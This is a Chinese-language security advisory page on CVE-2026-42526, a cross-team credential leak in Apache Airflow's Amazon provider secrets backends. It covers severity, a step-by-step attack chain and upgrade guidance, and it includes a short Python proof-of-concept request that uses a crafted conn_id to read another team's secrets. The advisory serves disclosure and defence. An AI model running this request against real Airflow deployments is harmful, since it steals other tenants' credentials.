IPBUF安全漏洞报告
English
CVE-2026-42526 CVSS 5.3 中危

CVE-2026-42526 Apache Airflow敏感信息泄露

披露日期: 2026-05-19

漏洞信息

漏洞编号
CVE-2026-42526
漏洞类型
访问控制失效
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
apache-airflow-providers-amazon

相关标签

信息泄露Apache Airflow访问控制失效CVE-2026-42526

漏洞概述

Apache Airflow Providers Amazon 在处理 AWS Secrets Manager 和 SSM Parameter Store 后端时存在逻辑缺陷。攻击者若无团队上下文,可通过构造包含 `/` 的连接ID,利用路径冲突读取其他团队的敏感凭证。该问题影响实验性多租户团队功能。

技术细节

该漏洞源于团队范围逻辑使用了 `/` 作为分隔符,且在缺少团队上下文时未正确校验 `conn_id` 格式。当调用者没有团队上下文时,如果请求的 `conn_id` 包含 `/`(例如 "team_a/conn"),后端会将其解析为特定路径。由于路径解析逻辑的缺陷,这可能指向另一个拥有团队上下文的用户所使用的实际密钥路径。因此,具备低权限的攻击者可以通过构造恶意 `conn_id`,直接访问并获取其他团队在 AWS Secrets Manager 或 SSM Parameter Store 中存储的机密信息,导致跨租户的数据泄露。修复版本将分隔符改为 `--` 以避免与路径混淆,并加强了上下文校验。

攻击链分析

STEP 1
步骤1
攻击者获取目标 Airflow 实例的低权限账号,且该账号未被分配到特定团队。
STEP 2
步骤2
攻击者确认目标使用了实验性多租户功能及受影响版本的 Amazon Providers。
STEP 3
步骤3
攻击者构造包含目标团队名称和 `/` 分隔符的 `conn_id`(如 "finance_team/db")。
STEP 4
步骤4
攻击者通过 API 请求该连接,触发后端从 AWS Secrets Manager 获取凭证。
STEP 5
步骤5
由于逻辑漏洞,系统返回了其他团队的敏感凭证,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Conceptual PoC for CVE-2026-42526 # Target: Apache Airflow instance using apache-airflow-providers-amazon < 9.28.0 target_url = "http://target-airflow/api/v1/connections" # Attacker has no team context, but tries to access "target_team" secrets malicious_conn_id = "target_team/database_conn" headers = { "Content-Type": "application/json", # Authorization header for a low-privilege user "Authorization": "Bearer <LOW_PRIV_TOKEN>" } # Attempt to retrieve the connection details which triggers the secret backend lookup response = requests.get(f"{target_url}/{malicious_conn_id}", headers=headers) if response.status_code == 200: print("[+] Exploit successful! Retrieved sensitive data:") print(response.json()) else: print("[-] Exploit failed or target not vulnerable.")

影响范围

apache-airflow-providers-amazon < 9.28.0

防御指南

临时缓解措施
建议立即升级 `apache-airflow-providers-amazon` 到 9.28.0 或更高版本。如果无法立即升级,应考虑禁用实验性多租户团队功能,并严格审查对 AWS Secrets Manager 和 SSM Parameter Store 的访问日志,检测是否存在异常的跨团队访问尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表